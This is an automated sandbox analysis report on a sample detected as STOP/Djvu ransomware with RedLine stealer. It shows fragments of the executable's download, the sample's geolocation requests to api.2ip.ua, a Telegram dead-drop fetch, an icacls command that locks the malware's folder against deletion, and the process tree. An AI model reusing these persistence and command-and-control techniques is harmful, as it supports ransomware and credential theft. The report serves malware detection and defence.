00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6krh8rh8rh88sh8l8nh8l8h8U_8{h8ri8h8l82h8l8sh8l8sh8Richrh8PELaj; @>lhd>/0@.textrhj `.data:n@.kic>\|@.rsrc/>0~@@
Jan 9, 2024 15:46:21.164599895 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 73 03 00 00 00 00 00 8c 73 03 00 9c 73 03 00 00 00 00 00 f6 6b 03 00 0c 6c 03 00 22 6c 03 00 2e 6c 03 00 48 6c 03 00 5a 6c 03 00 70 6c 03 00 86 6c 03 00 96 6c 03 00 ac 6c 03 00 c0 6c 03 00 d0 6c Data Ascii: ssskl"l.lHlZlpllllllllm m4mBm^mtmmmmmmmnn&n@n\nlnnnnnnnnnoo,o@oTo`opoookoo
Jan 9, 2024 15:46:21.447674990 CET	1286	IN	Data Raw: 75 00 77 00 00 00 53 00 6f 00 6c 00 6f 00 66 00 75 00 64 00 69 00 20 00 67 00 6f 00 78 00 6f 00 72 00 75 00 76 00 20 00 73 00 61 00 70 00 6f 00 63 00 75 00 7a 00 69 00 00 00 4e 00 69 00 6d 00 69 00 67 00 6f 00 74 00 20 00 67 00 69 00 66 00 6f 00 Data Ascii: uwSolofudi goxoruv sapocuziNimigot gifovuwelxolatxojiliFapejepuzeh wororuv mezumitelaMawoyujewoyosigubufozo wami xuxolesenawemo dohamefej
Jan 9, 2024 15:46:21.448290110 CET	1286	IN	Data Raw: 63 00 68 00 61 00 72 00 3e 00 2c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 61 00 6c 00 6c 00 6f 00 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 68 00 61 00 72 00 3e 00 20 00 3e 00 20 00 3e 00 20 00 3e 00 3a 00 3a 00 6f 00 Data Ascii: char>,class std::allocator<char> > > >::operator +=("this->_Has_container()", 0)C:\Program Files (x86)\Microsoft Visual
Jan 9, 2024 15:46:21.448856115 CET	1286	IN	Data Raw: 3a 00 3a 00 61 00 6c 00 6c 00 6f 00 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 62 00 61 00 73 00 69 00 63 00 5f 00 73 00 74 00 72 00 69 00 6e 00 67 00 3c 00 63 00 68 00 61 00 72 00 2c 00 Data Ascii: ::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Vector_const_ite
Jan 9, 2024 15:46:21.449378967 CET	1286	IN	Data Raw: 3e 00 3d 00 20 00 63 00 6f 00 75 00 6e 00 74 00 00 00 00 00 73 00 72 00 63 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 Data Ascii: >= countsrc != NULLmemcpy_sf:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.cdst != NULLmemmove_sf:\dd\vctools\crt_
Jan 9, 2024 15:46:21.730220079 CET	1286	IN	Data Raw: 68 00 65 00 20 00 56 00 69 00 73 00 75 00 61 00 6c 00 20 00 43 00 2b 00 2b 00 20 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 61 00 73 00 73 00 65 00 72 00 74 00 73 00 2e 00 00 00 00 00 Data Ascii: he Visual C++ documentation on asserts.memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)),
Jan 9, 2024 15:46:21.730336905 CET	1286	IN	Data Raw: 00 00 00 00 28 00 73 00 74 00 72 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 29 00 00 00 70 00 75 00 74 00 63 00 00 00 00 00 76 00 73 00 63 00 61 00 6e 00 66 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 Data Ascii: (str != NULL)putcvscanff:\dd\vctools\crt_bld\self_x86\crt\src\scanf.c(format != NULL)f:\dd\vctools\crt_bld\self_x86\crt\src\_file.cf:\
Jan 9, 2024 15:46:21.731353998 CET	1286	IN	Data Raw: 20 72 6f 75 74 69 6e 65 73 2c 20 75 73 65 20 5f 61 6c 69 67 6e 65 64 5f 72 65 61 6c 6c 6f 63 28 29 00 00 00 00 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 62 6c 6f 63 6b 20 74 Data Ascii: routines, use _aligned_realloc()Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).Client hook re-allocation failure.Client hook re-alloca
Jan 9, 2024 15:46:21.731853962 CET	1286	IN	Data Raw: 65 64 20 61 74 20 25 68 73 28 25 64 29 2e 0a 00 43 6c 69 65 6e 74 20 68 6f 6f 6b 20 66 72 65 65 20 66 61 69 6c 75 72 65 2e 0a 00 00 00 00 00 00 54 68 65 20 42 6c 6f 63 6b 20 61 74 20 30 78 25 70 20 77 61 73 20 61 6c 6c 6f 63 61 74 65 64 20 62 79 Data Ascii: ed at %hs(%d).Client hook free failure.The Block at 0x%p was allocated by aligned routines, use _aligned_free()_msize_dbg%hs located at 0x%p is %Iu bytes long.%hs located at 0x%p is %Iu bytes long.Memory allo
Jan 9, 2024 15:46:21.731894970 CET	1286	IN	Data Raw: 65 00 6d 00 43 00 68 00 65 00 63 00 6b 00 70 00 6f 00 69 00 6e 00 74 00 00 00 73 00 74 00 61 00 74 00 65 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 4f 62 6a 65 63 74 20 64 75 6d 70 20 63 6f 6d 70 6c 65 74 65 2e 0a 00 00 63 72 74 20 Data Ascii: emCheckpointstate != NULLObject dump complete.crt block at 0x%p, subtype %x, %Iu bytes long.normal block at 0x%p, %Iu bytes long.client block at 0x%p, subtype %x, %Iu bytes long.{%ld} %hs(%d) : #File

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49704	172.67.139.220	443	7808	C:\Users\user\Desktop\kOVwcHSfrR.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-09 14:46:02 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-09 14:46:02 UTC	887	IN	HTTP/1.1 200 OK Date: Tue, 09 Jan 2024 14:46:02 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=j76QyFsGI0YV5SchjNjIGpY5YhQKPNdX%2FJ9s3WXqgSqqMHCoVqH3LkWeSBo0VwJggQ%2FXPlVuHudd2BYritIfsH7XfsJSu7sCClo4XZfMcxz7hpxjgMyqsGs1KCen"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 842d77a7ecaf6fda-IAD alt-svc: h3=":443"; ma=86400
2024-01-09 14:46:02 UTC	433	IN	Data Raw: 31 61 61 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 63 6f 6c 75 6d 62 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 34 38 5c 75 30 34 33 38 5c 75 30 34 33 64 5c 75 30 34 33 33 5c 75 30 34 34 32 5c 75 30 34 33 65 5c 75 30 34 33 64 22 2c Data Ascii: 1aa{"ip":"102.165.48.42","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"District of columbia","region_rus":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d",
2024-01-09 14:46:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49705	172.67.139.220	443	8028	C:\Users\user\Desktop\kOVwcHSfrR.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-09 14:46:06 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-09 14:46:07 UTC	889	IN	HTTP/1.1 200 OK Date: Tue, 09 Jan 2024 14:46:06 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=S%2FqFY37DfQ5eAtCmNeNHK%2BLV6qk5ITSf%2FKWozaC5P0ruC3sB0bpJQLiZ8wD4yeyrBmqEwy7GLuObYuRd1AT3cMyGqOSw3J2fLGG4n24Uk1I1dFfmogBlkVpzkt0L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 842d77c3f980827e-IAD alt-svc: h3=":443"; ma=86400
2024-01-09 14:46:07 UTC	433	IN	Data Raw: 31 61 61 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 63 6f 6c 75 6d 62 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 34 38 5c 75 30 34 33 38 5c 75 30 34 33 64 5c 75 30 34 33 33 5c 75 30 34 34 32 5c 75 30 34 33 65 5c 75 30 34 33 64 22 2c Data Ascii: 1aa{"ip":"102.165.48.42","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"District of columbia","region_rus":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d",
2024-01-09 14:46:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49706	172.67.139.220	443	8088	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-09 14:46:08 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-09 14:46:09 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 09 Jan 2024 14:46:08 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BDJCbJV0lv3aR1g%2BQM4ynB0U15xoOll6ZYJt0%2FwHZLeIia6ANsrgmqgdqheXmqJBS5rrkJSYaqoHPfamrqEuPzmI6cK%2F86cIfjf4CHz85bbzRq50gKpmoBDPneSt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 842d77d078fd2431-IAD alt-svc: h3=":443"; ma=86400
2024-01-09 14:46:09 UTC	433	IN	Data Raw: 31 61 61 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 63 6f 6c 75 6d 62 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 34 38 5c 75 30 34 33 38 5c 75 30 34 33 64 5c 75 30 34 33 33 5c 75 30 34 34 32 5c 75 30 34 33 65 5c 75 30 34 33 64 22 2c Data Ascii: 1aa{"ip":"102.165.48.42","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"District of columbia","region_rus":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d",
2024-01-09 14:46:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49714	172.67.139.220	443	7376	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-09 14:46:18 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-09 14:46:19 UTC	899	IN	HTTP/1.1 200 OK Date: Tue, 09 Jan 2024 14:46:19 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=h62uW0Ul%2B%2FetwrIwED6w9liCpRx2bWKPq%2FKIO9M4g9tyaNrWdhn315I%2BM14L%2FVdweAav6N1riunO6xQFV%2BzmDf5jIpa9%2FnVPJndrWmN%2FLKnczeylxmtSiR43MZ9i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 842d780f2d342432-IAD alt-svc: h3=":443"; ma=86400
2024-01-09 14:46:19 UTC	433	IN	Data Raw: 31 61 61 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 63 6f 6c 75 6d 62 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 34 38 5c 75 30 34 33 38 5c 75 30 34 33 64 5c 75 30 34 33 33 5c 75 30 34 34 32 5c 75 30 34 33 65 5c 75 30 34 33 64 22 2c Data Ascii: 1aa{"ip":"102.165.48.42","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"District of columbia","region_rus":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d",
2024-01-09 14:46:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49717	172.67.139.220	443	736	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-09 14:46:25 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-09 14:46:26 UTC	897	IN	HTTP/1.1 200 OK Date: Tue, 09 Jan 2024 14:46:26 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2Fv5BIHxBZ4IaVdmE%2FEJ4LxJwZ45PWtHdfH3r48SiSLqkxBJVYxl8WKdQb1YEE7XR2hK2W0JvxNbl%2FRxZGArGnNzDsXgWzuMa3k%2BL%2FW56HlC%2B9V%2FinNHFCwecqooG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 842d783c2b101fd6-IAD alt-svc: h3=":443"; ma=86400
2024-01-09 14:46:26 UTC	433	IN	Data Raw: 31 61 61 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 63 6f 6c 75 6d 62 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 34 38 5c 75 30 34 33 38 5c 75 30 34 33 64 5c 75 30 34 33 33 5c 75 30 34 34 32 5c 75 30 34 33 65 5c 75 30 34 33 64 22 2c Data Ascii: 1aa{"ip":"102.165.48.42","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"District of columbia","region_rus":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d",
2024-01-09 14:46:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49718	149.154.167.99	443	7964	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-09 14:46:42 UTC	87	OUT	GET /mcfuture HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-01-09 14:46:42 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 09 Jan 2024 14:46:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12359 Connection: close Set-Cookie: stel_ssid=9cc3ed3c4953e55ca7_12619258344416077456; expires=Wed, 10 Jan 2024 14:46:42 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-01-09 14:46:42 UTC	12359	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6d 63 66 75 74 75 72 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @mcfuture</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pare

Target ID:	0
Start time:	15:45:56
Start date:	09/01/2024
Path:	C:\Users\user\Desktop\kOVwcHSfrR.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\kOVwcHSfrR.exe
Imagebase:	0x400000
File size:	700'416 bytes
MD5 hash:	D3D46D0339CEB24C85568E75F78846A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1275132497.000000000266B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:45:59
Start date:	09/01/2024
Path:	C:\Users\user\Desktop\kOVwcHSfrR.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\kOVwcHSfrR.exe
Imagebase:	0x400000
File size:	700'416 bytes
MD5 hash:	D3D46D0339CEB24C85568E75F78846A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:46:01
Start date:	09/01/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x870000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:46:01
Start date:	09/01/2024
Path:	C:\Users\user\Desktop\kOVwcHSfrR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kOVwcHSfrR.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	700'416 bytes
MD5 hash:	D3D46D0339CEB24C85568E75F78846A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.1325933597.00000000026C8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:46:03
Start date:	09/01/2024
Path:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe --Task
Imagebase:	0x400000
File size:	700'416 bytes
MD5 hash:	D3D46D0339CEB24C85568E75F78846A7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.1345615414.00000000025E6000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:46:04
Start date:	09/01/2024
Path:	C:\Users\user\Desktop\kOVwcHSfrR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kOVwcHSfrR.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	700'416 bytes
MD5 hash:	D3D46D0339CEB24C85568E75F78846A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
